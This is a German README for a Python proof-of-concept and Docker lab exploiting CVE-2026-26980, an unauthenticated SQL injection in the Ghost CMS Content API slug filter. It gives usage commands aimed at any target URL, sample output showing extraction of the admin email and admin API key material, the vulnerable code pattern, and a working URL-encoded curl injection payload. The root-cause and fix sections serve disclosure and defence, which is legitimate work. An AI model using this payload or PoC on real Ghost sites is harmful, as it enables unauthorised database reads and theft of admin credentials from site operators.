
Python-PoC und Docker-Lab, das unauthifizierte SQL-Injection im Slug-Filter der Content-API von TryGhost Ghost CMS demonstriert und Datenbankwerte über ein Boolean-Oracle extrahiert.
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL-Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 ist eine unauthentifizierte SQL-Injection-Schwachstelle in der TryGhost Ghost CMS Content API. Der verwundbare Pfad ist über die öffentliche Content-API-Filterverarbeitungslogik erreichbar, wenn die slug:[...]-Sortierung verarbeitet wird.
Dieses PoC baut ein kontrolliertes Ghost-6.19.0-Lab auf und demonstriert, wie eine öffentliche Content-API-Anfrage in ein boolean-basiertes Datenbank-Leseprimitiv umgewandelt werden kann.
| Produkt | Betroffene Version | Behobene Version | Schwachstellentyp |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL-Injection |
Die Lab-Umgebung verwendet Ghost 6.19.0.
Erstellen und starten Sie die verwundbare Ghost-CMS-Umgebung mit Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Beispiel:
http://127.0.0.1:9102/
Das Lab betreibt eine echte verwundbare Ghost-6.19.0-Instanz auf Port 9102.
Der Content-API-Schlüssel des Labs lautet:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQL-Injection-Schwachstelle
description: Eine SQL-Injection-Schwachstelle in TryGhost Ghost CMS vor 6.19.1 ermöglicht es einem unauthentifizierten Angreifer mit Zugriff auf einen öffentlichen Content-API-Schlüssel, beliebige Datenbankwerte über den Content-API-Filterparameter auszulesen. Das Problem tritt im slug:[...]-Filter-Sortierungspfad auf, wo benutzergesteuerte Slug-Werte ohne ordnungsgemäßes Parameter-Binding in rohes SQL eingefügt werden.
Ghost Content-API-Schlüssel werden üblicherweise absichtlich über Themes, Suche, Portal oder Frontend-JavaScript an Browser preisgegeben. Das bedeutet, dass der verwundbare Pfad ohne Ghost-Admin-Authentifizierung erreichbar sein kann.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Optionaler benutzerdefinierter Content-API-Schlüssel:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target]-Beispiel: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
Das öffentliche PoC demonstriert die Auswirkung des Datenbanklesens durch Extrahieren von laborsicheren Datenbank-Metadaten und Ghost-API-Schlüsselmaterial. Es gibt das Challenge-Flag nicht aus.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
Die verwundbare Logik befindet sich im Eingabe-Serialisierungspfad der Ghost Content API für slug:[...]-Filter. Ghost unterstützt listenartige Slug-Filter und bewahrt die angeforderte Slug-Reihenfolge, indem ein ORDER BY CASE-Ausdruck generiert wird.
In verwundbaren Versionen werden benutzergesteuerte Slug-Werte in ein SQL-Fragment eingefügt. Ein vereinfachtes verwundbares Muster ist:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Da slug vom Angreifer kontrolliert wird und ohne Parameter-Binding in den SQL-String eingefügt wird, kann ein präparierter Content-API-Filter aus dem beabsichtigten Vergleich ausbrechen und zusätzliche SQL-Logik injizieren.
Das Lab-PoC verwendet zwei öffentliche Tags, bacon und chorizo, als beobachtbares Boolean-Orakel.
bacon zuerst sortiert.chorizo zuerst sortiert.Durch Wiederholen dieses Tests mit unterschiedlichen SQL-Bedingungen kann das PoC Datenbankwerte Zeichen für Zeichen ableiten.
Boolean-Orakel-Prüfung mit curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
Die Grundursache ist die unsichere Konstruktion eines SQL-ORDER BY CASE-Fragments aus benutzergesteuerten slug-Werten. Der verwundbare Code versucht, die Reihenfolge der Content-API-Antwort zu bewahren, behandelt jedoch geparste NQL-Filterwerte als vertrauenswürdigen SQL-Text.
Eine robuste Behebung muss:
Ghost hat dieses Problem in 6.19.1 behoben, indem die rohe Interpolation durch parametrisierte Query-Bindings ersetzt wurde.
Dies ist ein Problem der Kategorie CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
Da die Ghost Content API absichtlich öffentlich ist, kann diese Schwachstelle es einem unauthentifizierten Angreifer ermöglichen, über einen öffentlichen Content-Endpunkt ein Datenbank-Leseprimitiv zu erstellen. Je nach Datenbankinhalten und Berechtigungen kann ein Angreifer möglicherweise: